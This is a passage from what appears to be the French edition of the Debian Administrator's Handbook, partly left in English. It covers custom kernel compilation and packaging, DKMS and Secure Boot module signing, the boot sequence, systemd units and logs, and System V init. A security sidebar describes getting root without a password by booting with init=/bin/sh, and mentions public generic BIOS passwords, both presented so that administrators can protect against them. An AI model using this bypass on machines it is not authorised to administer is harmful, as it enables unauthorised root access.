Traditionnellement, les sources du noyau Linux ont toujours été placées sous /usr/src/linux/, nécessitant donc les droits root pour la compilation. Comme vous le savez, il faut pourtant éviter de travailler inutilement avec les droits de l'administrateur. Il existe bien un groupe src qui permet à ses membres de travailler dans ce répertoire, mais on évitera malgré tout de recourir à /usr/src/. En conservant les sources du noyau dans un répertoire personnel, vous optez pour la sécurité à tout point de vue : pas de fichiers inconnus du système de paquetage dans /usr/, ni de risque d'induire en erreur les programmes qui scrutent /usr/src/linux/ pour obtenir des informations sur le noyau employé.

To build a kernel from the pristine sources, just download the tarball of the version of your choice from kernel.org, verify the integrity after importing the kernel maintainers key, and then proceed as described in the following chapters.

→ https://kernel.org/pub/linux/kernel/

→ https://git.kernel.org/pub/scm/docs/kernel/pgpkeys.git/tree/keys

$ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.xz

[..]

$ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.sign

[..]

$ unxz -c linux-5.10.62.tar.xz | gpg --verify linux-5.10.62.tar.sign -

gpg: Signature made Fri 03 Sep 2021 10:11:35 AM CEST

gpg:                using RSA key 647F28654894E3BD457199BE38DBBDC86092693E

gpg: Good signature from "Greg Kroah-Hartman <gregkh@linuxfoundation.org>" [unknown]

gpg:                 aka "Greg Kroah-Hartman (Linux kernel stable release signing key) <greg@kroah.com>" [unknown]

gpg:                 aka "Greg Kroah-Hartman <gregkh@kernel.org>" [unknown]

gpg: WARNING: This key is not certified with a trusted signature!

gpg:          There is no indication that the signature belongs to the owner.

Primary key fingerprint: 647F 2865 4894 E3BD 4571  99BE 38DB BDC8 6092 693E

8.10.3. Configuration du noyau

La prochaine étape consiste à configurer le noyau conformément à ses besoins. Le mode opératoire dépend des objectifs.

When recompiling a more recent version of the kernel (possibly with an additional patch), the configuration will most likely be kept as close as possible to that proposed by Debian. In this case, and rather than reconfiguring everything from scratch, it is sufficient to copy the /boot/config-version file (the version is that of the kernel currently used, which can be found with the uname -r command) into a .config file in the directory containing the kernel sources. Make sure to read sidebar TIP Missing debian/certs/debian-uefi-certs.pem in this case.

$ cp /boot/config-5.10.0-8-amd64 ~/kernel/linux-source-5.10/.config

Si vous ne souhaitez pas changer la configuration, vous pouvez en rester là et sauter directement à la Section 8.10.4, « Compilation et génération du paquet ». Dans le cas contraire, ou si vous avez décidé de tout reconfigurer depuis zéro, il faudra prendre le temps de configurer votre noyau. Pour cela, il propose différentes interfaces, qu'on invoque depuis le répertoire des sources par la commande make suivie d'un argument.

make menuconfig compiles and executes a text-mode interface (this is where the libncurses-dev package is required) which allows navigating the options available in a hierarchical structure. Pressing the Space key changes the value of the selected option, and Enter validates the button selected at the bottom of the screen; Select returns to the selected sub-menu; Exit closes the current screen and moves back up in the hierarchy; Help will display more detailed information on the role of the selected option. The arrow keys allow moving within the list of options and buttons. To exit the configuration program, choose Exit from the main menu. The program then offers to save the changes you've made; accept if you are satisfied with your choices.

Other interfaces have similar features, but they work within more modern graphical interfaces; such as make xconfig which uses a Qt graphical interface, and make gconfig which uses GTK+. The former requires qtbase5-dev, while the latter depends on libglade2-dev and libgtk2.0-dev.

Lorsque l'on utilise une de ces interfaces de configuration, il est généralement conseillé de partir d'une configuration par défaut raisonnable. Le noyau fournit de telles configurations dans arch/architecture/configs/*_defconfig et il est possible de les mettre en place avec une commande telle que make x86_64_defconfig (pour un PC 64 bits) ou make i386_defconfig (pour un PC 32 bits).

ASTUCE Que faire d'un .config obsolète ?

Lorsque l'on fournit un fichier .config qui provient d'une autre version du noyau (généralement plus ancienne), ce fichier doit être mis à jour. Cela se fait avec make oldconfig, qui va poser interactivement les questions portant sur les nouvelles options de configuration. Pour utiliser les réponses par défaut à toutes ces questions, on préfèrera make olddefconfig. Pour finir, la commande make oldnoconfig répondra par la négative à toutes ces nouvelles questions.

8.10.4. Compilation et génération du paquet

ATTENTION Nettoyer avant de recommencer

Si vous avez déjà construit un noyau dans le répertoire et si vous voulez tout reconstruire depuis zéro (par exemple après avoir changé la configuration du noyau de manière substantielle), il faudra lancer make clean, qui supprimera les fichiers compilés. make distclean fait un ménage encore plus poussé et supprime tous les fichiers générés, y compris votre .config ; faites-en une sauvegarde au préalable.

Once the kernel configuration is ready, a simple make deb-pkg will generate up to 5 Debian packages:

linux-image-version

contains the kernel image and the associated modules,

linux-headers-version

contains the header files required to build external modules,

linux-firmware-image-version

contains the firmware files needed by some drivers (this package might be missing when you build from the kernel sources provided by Debian),

linux-image-version-dbg

contains the debugging symbols for the kernel image and its modules (only created if CONFIG_DEBUG_INFO=y), and

linux-libc-dev

contains headers relevant to some user-space libraries like GNU glibc.

The version is defined by the concatenation of the upstream version (as defined by the variables VERSION, PATCHLEVEL, SUBLEVEL, and EXTRAVERSION in the Makefile), of the LOCALVERSION configuration parameter, and of the LOCALVERSION environment variable. The package version reuses the same version string with an appended revision that is regularly incremented (and stored in .version), except if you override it with the KDEB_PKGVERSION environment variable.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1

[...]

$ ls ../*.deb

../linux-headers-5.10.46-falcot_5.10.46-1_amd64.deb

../linux-image-5.10.46-falcot_5.10.46-1_amd64.deb

../linux-image-5.10.46-falcot-dbg_5.10.46-1_amd64.deb

../linux-libc-dev_5.10.46-1_amd64.deb

The whole process requires around 20 GB of free space, at least 8 GB of RAM, and several hours of compilation (utilizing one core) for a standard amd64 Debian kernel. These requirements can be drastically reduced by disabling the debug information using CONFIG_DEBUG_INFO=n, but this will make it impossible to trace kernel errors (“oops”) using gdb and also stop the creation of the linux-image-version-dbg package.

TIP Missing debian/certs/debian-uefi-certs.pem

The default kernel in Debian contains the following configuration:

[..]

#

# Certificates for signature checking

#

CONFIG_MODULE_SIG_KEY=""

CONFIG_SYSTEM_TRUSTED_KEYRING=y

CONFIG_SYSTEM_TRUSTED_KEYS="debian/certs/debian-uefi-certs.pem"

# CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set

CONFIG_SECONDARY_TRUSTED_KEYRING=y

CONFIG_SYSTEM_BLACKLIST_KEYRING=y

CONFIG_SYSTEM_BLACKLIST_HASH_LIST=""

# end of Certificates for signature checking

[..]

Building a custom kernel based on these settings will fail if debian/certs/debian-uefi-certs.pem does not exist. This file can either be obtained from the kernel team's Git repository and placed into the source tree, or it can be replaced by your own certificate(s), or you'll have to disable the setting via CONFIG_SYSTEM_TRUSTED_KEYS="".

→ https://salsa.debian.org/kernel-team/linux/-/blob/master/debian/certs/debian-uefi-certs.pem

8.10.5. Compilation de modules externes

Some modules are maintained outside of the official Linux kernel. To use them, they must be compiled alongside the matching kernel. A number of common third party modules are provided by Debian in dedicated packages, such as vpb-driver-source (extra modules for Voicetronix telephony hardware) or leds-alix-source (driver of PCEngines ALIX 2/3 boards).

Debian fournit un grand nombre de modules externes, la commande apt-cache rdepends module-assistant$ permet d'en obtenir la liste. De toute façon, cette liste n'apporte rien puisqu'il n'y a pas de raison particulière de compiler des modules externes sauf quand on sait qu'on en a besoin — auquel cas la documentation du périphérique vous renseignera.

For example, let's look at the dahdi-source package: after installation, a .tar.bz2 of the module's sources is stored in /usr/src/. While we could manually extract the tarball and build the module, in practice we prefer to automate all this using the DKMS framework (Dynamic Kernel Module Support). Most modules offer the required DKMS integration in a package ending with a -dkms suffix. In our case, installing dahdi-dkms is all that is needed to compile the kernel module for the current kernel provided that we have the linux-headers-* package matching the installed kernel. For instance, if you use linux-image-amd64, you would also install linux-headers-amd64.

QUICK LOOK DKMS and Secure Boot

On UEFI systems with Secure Boot enabled, modules require signing before they can be loaded. The modules shipped with the kernel packages are signed. But external modules are not. Luckily, dkms already has everything that is required to sign built modules.

First, create a private key /root/dkms.key and a matching certificate /root/dkms.der with openssl, and enroll it with the mokutil --import /root/dkms.der command (please read /usr/share/doc/dkms/README.md.gz for details). This will require a restart and actively importing the certificate using the EFI MOK Manager interface. After this has been done, the sign_tool line in /etc/dkms/framework.conf must be uncommented. Already built modules need to be rebuilt, to be signed by the newly created and enrolled certificate. New modules will be automatically signed.

$ sudo apt install dahdi-dkms

[...]

Setting up dkms (2.8.4-3) ...

Setting up linux-headers-5.10.0-8-amd64 (5.10.46-4) ...

/etc/kernel/header_postinst.d/dkms:

dkms: running auto installation service for kernel 5.10.0-8-amd64:.

Setting up dahdi-dkms (1:2.11.1.0.20170917~dfsg-7.4) ...

Loading new dahdi-2.11.1.0.20170917~dfsg-7.4 DKMS files...

Building for 5.10.0-8-amd64

Building initial module for 5.10.0-8-amd64

Done.

dahdi_dummy.ko:

Running module version sanity check.

- Original module

- No original module exists within this kernel

- Installation

- Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/

dahdi_dynamic_eth.ko:

Running module version sanity check.

- Original module

- No original module exists within this kernel

- Installation

- Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/

[...]

DKMS: install completed.

$ sudo dkms status

dahdi, 2.11.1.0.20170917~dfsg-7.4, 5.10.0-8-amd64, x86_64: installed

$ sudo modinfo dahdi_dummy

filename:       /lib/modules/5.10.0-8-amd64/updates/dkms/dahdi_dummy.ko

license:        GPL v2

author:         Robert Pleh <robert.pleh@hermes.si>

description:    Timing-Only Driver

depends:        dahdi

retpoline:      Y

name:           dahdi_dummy

vermagic:       5.10.0-8-amd64 SMP mod_unload modversions

parm:           debug:int

ALTERNATIVE module-assistant

Avant l'apparition de DKMS, la solution la plus simple pour construire et déployer des modules du noyau était module-assistant. Cette solution est toujours disponible, en particulier pour les paquets qui ne proposent pas (encore) une intégration avec DKMS : avec une simple commande telle que module-assistant auto-install dahdi (ou même sa version raccourcie, m-a a-i dahdi), les modules sont construits pour le noyau courant, puis empaquetés dans un nouveau paquet Debian, qui est lui-même installé à la volée.

8.10.6. Emploi d'un patch sur le noyau

Certaines fonctionnalités ne sont pas intégrées au noyau standard faute de stabilité ou d'accord des mainteneurs du noyau. Dans ce cas, il arrive qu'elles soient diffusées sous la forme de correctif (ou patch), que chacun est alors libre d'appliquer sur les sources du noyau.

Debian fournit parfois certains de ces patches par le biais des paquets linux-patch-*, mais ils ne font souvent pas parti des distributions stables (parfois pour la même raison qu'ils ne sont pas intégrés en amont dans la version officielle du noyau). Ces paquets installent des fichiers dans le répertoire /usr/src/kernel-patches/.

To apply one or more of these installed patches, use the patch command in the sources directory then start compilation of the kernel as described above. The following shows an old example using linux-patch-grsecurity2 and linux-source-4.9.

$ cd ~/kernel/linux-source-4.9

$ make clean

$ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.patch.gz | patch -p1

Attention, un patch ne fonctionnant pas forcément avec toutes les versions des noyaux, il est possible que patch échoue à l'appliquer sur les sources du noyau. Un message vous en informera alors : dans ce cas, référez-vous à la documentation disponible dans le paquet Debian du patch (dans le répertoire /usr/share/doc/linux-patch-*/). Il est probable que le mainteneur indique pour quelles versions du noyau il a été prévu.

8.11. Installation d'un noyau

8.11.1. Caractéristiques d'un paquet Debian du noyau

Un paquet Debian de noyau installe l'image du noyau (vmlinuz-version), sa configuration (config-version) et sa table de symboles (System.map-version) dans /boot/. Les modules sont installés dans le répertoire /lib/modules/version/.

CULTURE La table de symboles

La table de symboles permet aux développeurs de comprendre le sens d'un message d'erreur du noyau (en son absence, les « oops » — équivalents dans le noyau des erreurs de segmentation des programmes de l'espace utilisateur, ces messages sont générés suite à un déréférencement de pointeur invalide — n'indiqueraient que des adresses mémoire numériques, informations inutiles si on ne sait pas à quels symboles elles correspondent).

The package's configuration scripts automatically generate an initramfs image (the successor of the old initial ramdisk initrd image), which is a compressed mini-system designed to be loaded in memory (hence the name, which stands for “initial ram filesystem”) by the bootloader, and used by the Linux kernel solely for loading the modules needed to access the devices containing the complete Debian system (for example, the driver for SATA disks). Finally, the post-installation scripts update the symbolic links /vmlinuz, /vmlinuz.old, /initrd.img, and /initrd.img.old so that they point to the latest two kernels installed, respectively, as well as the corresponding initramfs boot images.

La plupart de ces tâches sont déléguées à des scripts présents dans les répertoires /etc/kernel/*.d/. Par exemple, l'intégration avec grub se fait par le biais de /etc/kernel/postinst.d/zz-update-grub et /etc/kernel/postrm.d/zz-update-grub, qui appellent update-grub lors de l'installation ou la suppression de paquets du noyau.

8.11.2. Installation avec dpkg

Using apt is so convenient that it makes it easy to forget about the lower-level tools, but the easiest way of installing a compiled kernel is to use a command such as dpkg -i package.deb, where package.deb is the name of a linux-image package such as linux-image-5.10.46-falcot_5.10.46-1_amd64.deb.

La configuration de base obtenue peut aussi bien devenir un serveur qu'un poste de bureautique et elle est reproductible en masse de façon semi-automatisée. Une machine en disposant n'est toutefois pas encore adaptée à un usage donné, c'est pourquoi l'administrateur doit à présent compléter la préparation. Pour cela, il commencera par mettre en place les couches logicielles basses appelées « services Unix ».

Chapitre 9. Services Unix

Ce chapitre parcourt un ensemble de services fondamentaux, souvent communs à beaucoup d'Unix. Tout administrateur se doit de les connaître.

9.1. Démarrage du système

Lorsque l'ordinateur démarre, les messages défilant sur la console révèlent de nombreuses initialisations et configurations automatiques. Parfois, il est souhaitable de modifier légèrement le déroulement de cette étape, ce qui implique de bien la comprendre. C'est l'objet de cette section.

On systems with a BIOS, first, the BIOS takes control of the computer, initializes the controllers and hardware, detects the disks, and bridges everything together. Then it looks up the Master Boot Record (MBR) of the first disk in the boot order and loads the code stored there (first stage). This code then launches the second stage and finally executes the bootloader.

In contrast to the BIOS, UEFI is more sophisticated, it knows filesystems and can read the partition tables. The interface searches the system storage for a partition labeled with a specific globally unique identifier (GUID) that marks it as the EFI System Partition (ESP), where the bootloaders, boot managers, UEFI shell, etc., are located, and launches the desired bootloader. If Secure Boot is enabled, the boot process will verify authenticity of the EFI binaries there by signature (thus grub-efi-arch-signed is required in this case). The UEFI specification also defines support for booting in legacy BIOS mode. This is called the Compatibility Support Module (CSM). If CSM is enabled, it will attempt to boot from a drive's MBR. However, many new systems do no longer support the CSM mode.

In both cases then the actual bootloader takes over, finds either a chained bootloader or the kernel on the disk, loads, and executes it. The kernel is then initialized, and starts to search for and mount the partition containing the root filesystem, and finally executes the first program — init. Frequently, this “root partition” and this init are, in fact, located in a virtual filesystem that only exists in RAM (hence its name, “initramfs”, formerly called “initrd” for “initialization RAM disk”). This filesystem is loaded in memory by the bootloader, often from a file on a hard drive or from the network. It contains the bare minimum required by the kernel to load the “true” root filesystem: this may be driver modules for the hard drive, or other devices without which the system cannot boot, or, more frequently, initialization scripts and modules for assembling RAID arrays, opening encrypted partitions, activating LVM volumes, etc. Once the root partition is mounted, the initramfs hands over control to the real init, and the machine goes back to the standard boot process.

9.1.1. Le système d'initialisation systemd

Le « vrai init » est actuellement fourni par systemd, sur lequel cette section se focalise.

CULTURE Avant systemd

systemd un « système d'initialisation » relativement récent, et bien qu'il était déjà disponible – dans une certaine mesure – dans Wheezy, ce n'est que depuis Jessie qu'il est employé par défaut. Les versions précédentes de Debian exploitaient « System V » (du paquet sysv-rc), un système d'initialisation bien plus traditionnel qui sera présenté un peu plus loin.

ALTERNATIVE Autres systèmes d'initialisation

This book describes the boot system used by default in Debian since Buster (as implemented by the systemd package), as well as the previous default, sysvinit, which is derived and inherited from System V Unix systems; there are others.

The upstart system is still not perfectly tested on Debian. It is event based: init scripts are no longer executed in a sequential order but in response to events such as the completion of another script upon which they are dependent. This system, started by Ubuntu, was present in Debian Jessie, but was not the default; it came, in fact, as a replacement for sysvinit, and one of the tasks launched by upstart was to launch the scripts written for traditional systems, especially those from the sysv-rc package.

openrc is a dependency based service manager. It was originally written for the Gentoo project, but it aims at being platform agnostic. It maintains compatibility with the System V init system and provides support for booting, changing runlevels, starting and stopping services (in parallel), and shutting down.

There are also other systems and other operating modes, such as file-rc, runit, or minit, but some of them are relatively specialized and not widespread.

Figure 9.1. Étapes du démarrage d'un ordinateur sous Linux avec systemd

CAS PARTICULIER Le démarrage sur le réseau

In some configurations, the system may be configured not to execute code from the physical hardware, but to seek its equivalent on the network, making it possible to build computers without a hard drive, or which are completely reinstalled on each boot. This option is not available on all hardware and it generally requires an appropriate combination of firmware and network card.

Le démarrage sur le réseau peut être utilisé pour lancer debian-installer ou FAI (voir Section 4.1, « Méthodes d'installation »).

B.A.-BA Le processus, une invocation de programme

A process is the representation of a running program in memory. It includes all of the information necessary for the proper execution of the software (the code itself, but also the data that it has in memory, the list of files that it has opened, the network connections it has established, etc.). A single program may be instantiated into several processes, not necessarily running under different user IDs.

SÉCURITÉ Gare à la substitution d'init par un shell

Le premier processus démarré est par convention le programme init (qui par défaut est un lien symbolique vers /lib/systemd/systemd). Toutefois, il est possible de passer au noyau une option init indiquant un autre programme.

Toute personne capable d'accéder à l'ordinateur pourra appuyer sur le bouton Reset et ainsi le redémarrer, puis, via l'invite du chargeur d'amorçage, passer au noyau l'option init=/bin/sh pour obtenir un accès root sans connaître le mot de passe de l'administrateur.

Pour éviter cela, on peut protéger le chargeur d'amorçage par un mot de passe. Pensez alors à protéger aussi l'accès au BIOS (un mécanisme de protection par mot de passe est presque toujours disponible), sans quoi un indélicat pourra toujours démarrer sur une disquette contenant son propre système Linux, qu'il utilisera pour accéder aux disques durs de l'ordinateur.

Finally, be aware that most BIOS/EFI implementations have a generic password available. Initially intended for troubleshooting for those who have forgotten their password, these passwords are now public and available on the Internet (see for yourself by searching for “generic BIOS passwords” in a search engine). All of these protections will thus impede unauthorized access to the machine without being able to completely prevent it. There is no reliable way to protect a computer if the attacker can physically access it; they could dismount the hard drives to connect them to a computer under their own control anyway, or even steal the entire machine, or erase the BIOS memory to reset the password…

Systemd executes several processes, in charge of setting up the system: keyboard, drivers, filesystems, network, services. It does this while keeping a global view of the system as a whole, and the requirements of the components. Each component is described by a “unit file” (sometimes more); the general syntax is derived from the widely-used “*.ini files“ syntax, with key = value pairs grouped between [section] headers. Unit files are stored under /lib/systemd/system/ and /etc/systemd/system/; they come in several flavors, but we will focus on “services” and “targets” here.

A systemd “.service file” describes a process managed by systemd. It contains roughly the same information as old-style init-scripts, but expressed in a declaratory (and much more concise) way. Systemd handles the bulk of the repetitive tasks (starting and stopping the process, checking its status, logging, dropping privileges, and so on), and the service file only needs to fill in the specifics of the process. For instance, here is the service file for SSH:

[Unit]

Description=OpenBSD Secure Shell server

Documentation=man:sshd(8) man:sshd_config(5)

After=network.target auditd.service

ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

[Service]

EnvironmentFile=-/etc/default/ssh

ExecStartPre=/usr/sbin/sshd -t

ExecStart=/usr/sbin/sshd -D $SSHD_OPTS

ExecReload=/usr/sbin/sshd -t

ExecReload=/bin/kill -HUP $MAINPID

KillMode=process

Restart=on-failure

RestartPreventExitStatus=255

Type=notify

RuntimeDirectory=sshd

RuntimeDirectoryMode=0755

[Install]

WantedBy=multi-user.target

Alias=sshd.service

The [Unit] section contains generic information about the service, like its description and manual page resources, as well as relations (dependency and order) to other services. The [Service] part contains the declarations related to the service execution (starting, stopping, killing, restarting), directories and configuration file(s) used. The last section, [Install], again carries generic information into which targets to install the service and, in this case, the alias that can be used instead of the service name. As you can see, there is very little code in there, only declarations. Systemd takes care of displaying progress reports, keeping track of the processes, and even restarting them when needed. The syntax of these files is fully described in several manual pages (e.g. systemd.service(5), systemd.unit(5), systemd.exec(5), etc.).

A systemd “.target file” describes a state of the system where a set of services are known to be operational. It can be thought of as an equivalent of the old-style runlevel. One of the pre-defined targets is local-fs.target; when it is reached, the rest of the system can assume that all local filesystems are mounted and accessible. Other targets include network-online.target and sound.target (for a full list of special targets see systemd.special(7)). The dependencies of a target can be listed either within the target file (in the Requires= line), or using a symbolic link to a service file in the /lib/systemd/system/targetname.target.wants/ directory. For instance, /etc/systemd/system/printer.target.wants/ contains a link to /lib/systemd/system/cups.service; systemd will therefore ensure CUPS is running in order to reach printer.target.

Puisque les fichiers de systemd ne sont pas des scripts ou des programmes, ils ne peuvent être exécutés directement : ils doivent être interprétés par systemd. C'est pourquoi l'administrateur dispose de plusieurs utilitaires pour interagir avec systemd, et contrôler l'état du système et de chacun de ses composants.

Le premier de ces outils est systemctl. Lorsqu'il est exécuté sans paramètres, il liste toutes les « unités » connues de systemd (à l'exception de celles qui ont été désactivées), ainsi que leur état. systemctl status donne une meilleure vue des services, et des processus associés. En lui passant un nom de service (comme dans systemctl status ntp.service), il renvoie encore plus de détails, ainsi que les dernières lignes de log en rapport avec le service (nous reviendrons là dessus plus loin).

Démarrer un service manuellement se fait simplement avec systemctl start nom-de-service.service. Inversement et sans surprise, arrêter un service se fait avec systemctl stop nom-de-service.service ; d'autres sous-commandes existent, comme reload (« recharger ») et restart (« redémarrer »).

Pour activer un service (autrement dit pour qu'il soit lancé automatiquement au démarrage de l'ordinateur), il convient de faire systemctl enable nom-du-service.service (ou disable pour le désactiver). La sous-commande is-enabled permet de vérifier l'état d'activation du service.

An interesting feature of systemd is that it includes a logging component named journald. It comes as a complement to more traditional logging systems such as syslogd, but it adds interesting features such as a formal link between a service and the messages it generates, and the ability to capture error messages generated by its initialization sequence. The messages can be displayed later on, with a little help from the journalctl command. Without any arguments, it simply spews all log messages that occurred since system boot; it will rarely be used in such a manner. Most of the time, it will be used with a service identifier:

# journalctl -u ssh.service

-- Logs begin at mar. 2015-03-31 10:08:49 CEST, end at mar. 2015-03-31 17:06:02 CEST. --

Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.

Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22.

Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting.

Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.

Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22.

Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2

Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)

Une autre option très utile est -f, qui demande à journalctl d'afficher les nouveaux messages au fur et à mesure de leur émission (de manière similaire à ce que réalise tail -f fichier).

Lorsqu'un service n'a pas l'air de fonctionner correctement, la première étape pour résoudre le problème est de vérifier si le service est lancé avec systemctl status ; si ce n'est pas le cas, et si les messages affichés par cette première commande ne suffisent pas à identifier le problème, il convient alors de consulter les messages que journald a collecté au sujet de ce service. Prenons le cas d'un serveur SSH qui ne fonctionne pas :

# systemctl status ssh.service

● ssh.service - OpenBSD Secure Shell server

Loaded: loaded (/lib/systemd/system/ssh.service; enabled)

Active: failed (Result: start-limit) since mar. 2015-03-31 17:30:36 CEST; 1s ago

Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)

Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255)

Main PID: 1188 (code=exited, status=255)

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.

Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

# journalctl -u ssh.service

-- Logs begin at mar. 2015-03-31 17:29:27 CEST, end at mar. 2015-03-31 17:30:36 CEST. --

Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.

Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22.

Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting.

Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.

Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22.

Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2

Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0)

Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.

Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

# vi /etc/ssh/sshd_config

# systemctl start ssh.service

# systemctl status ssh.service

● ssh.service - OpenBSD Secure Shell server

Loaded: loaded (/lib/systemd/system/ssh.service; enabled)

Active: active (running) since mar. 2015-03-31 17:31:09 CEST; 2s ago

Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)

Main PID: 1222 (sshd)

CGroup: /system.slice/ssh.service

└─1222 /usr/sbin/sshd -D

#

Après avoir vérifié l'état du service (failed, en échec), nous avons consulté les messages du journal ; ils indiquaient une erreur dans le fichier de configuration. Après avoir corrigé ce dernier, nous avons redémarré le service et nous avons vérifié qu'il fonctionnait pour de bon.

POUR ALLER PLUS LOIN D'autres sortes de fichiers systemd (unit files)

Dans cette section nous avons découvert les facettes les plus importantes de systemd. Mais il dispose de nombreuses autres fonctionnalités ; nous n'en listerons que quelques-unes ici:

- socket activation: a “socket” unit file can be used to describe a network or Unix socket managed by systemd; this means that the socket will be created by systemd, and the actual service may be started on demand when an actual connection attempt comes. This roughly replicates the feature set of inetd. See systemd.socket(5).

- timers: a “timer” unit file describes events that occur with a fixed frequency or on specific times; when a service is linked to such a timer, the corresponding task will be executed whenever the timer fires. This allows replicating part of the cron features. See systemd.timer(5).

- network: a “network“ unit file describes a network interface, which allows configuring such interfaces as well as expressing that a service depends on one particular interface being up. See systemd.network(5).

9.1.2. Le système d'initialisation System V

The System V init system (which we'll call init for brevity) executes several processes, following instructions from the /etc/inittab file. The first program that is executed (which corresponds to the sysinit step) is /etc/init.d/rcS, a script that executes all of the programs in the /etc/rcS.d/ directory.

Parmi ceux-ci, on trouve successivement :

- la configuration du clavier de la console ;

- le chargement des pilotes : la plupart des modules noyau sont chargés par le noyau lui-même en fonction du matériel détecté ; certains pilotes peuvent ensuite être systématiquement chargés, les modules correspondants doivent être listés dans /etc/modules ;

- la vérification de l'intégrité des systèmes de fichiers ;

- le montage des partitions locales ;

- la configuration du réseau ;

- le montage des systèmes de fichiers distants (NFS).

B.A.-BA Modules du noyau et options

You have already learned that kernel modules can be loaded during the start of the system by adding them to /etc/modules or a file below /etc/modules-load.d/. But modules can also have options that can be configured by putting some files in /etc/modprobe.d/. These options are defined with directives like this: options module-name option-name=option-value. Several options can be specified with a single directive if necessary.

These configuration files are intended for modprobe — the program that loads a kernel module with its dependencies (modules can indeed call other modules). To list all options of a module use the modinfo -p module command. Both programs are provided by the kmod package together with other tools to handle modules.

Having learned about systemd, services and targets can use the modprobe@module.service to load kernel modules they depend on.

Après cette phase, init reprend la main et démarre les programmes associés au niveau d'exécution (runlevel) normal, soit par défaut le niveau 2. Il exécute /etc/init.d/rc 2, script qui démarre tous les services donnés du répertoire /etc/rc2.d/ débutant par la lettre « S ». Le nombre (à deux chiffres) qui suit servait historiquement à classer les services pour les démarrer dans le bon ordre, mais de nos jours le système de démarrage par défaut utilise insserv, un système de démarrage où l'ordonnancement se fait en fonction des dépendances entre scripts. Chaque script de démarrage déclare ainsi les contraintes qui s'appliquent à lui (par exemple, s'il doit démarrer avant ou après tel autre service) ; init les lance alors dans un ordre qui satisfait les contraintes. La numérotation statique des scripts n'est donc plus prise en compte (mais ils doivent toujours s'appeler d'un nom composé d'un « S » suivi de deux caractères, suivis à leur tour du véritable nom du script utilisé pour les dépendances). D'une manière générale, les services de base (comme le service de collecte des journaux, rsyslog, ou celui d'attribution des ports, portmap) sont démarrés en premier, suivis par les services standards et l'interface graphique (gdm3).

Ce système de démarrage par dépendances permet d'automatiser des renumérotations qui pourraient s'avérer fastidieuses si elles devaient être faites manuellement et il prévient les erreurs humaines, puisque l'ordonnancement se fait en fonction des contraintes exprimées. Il présente également l'avantage supplémentaire de permettre le démarrage de plusieurs services en parallèle, si plusieurs scripts sont indépendants entre eux, ce qui peut accélérer la séquence de démarrage.

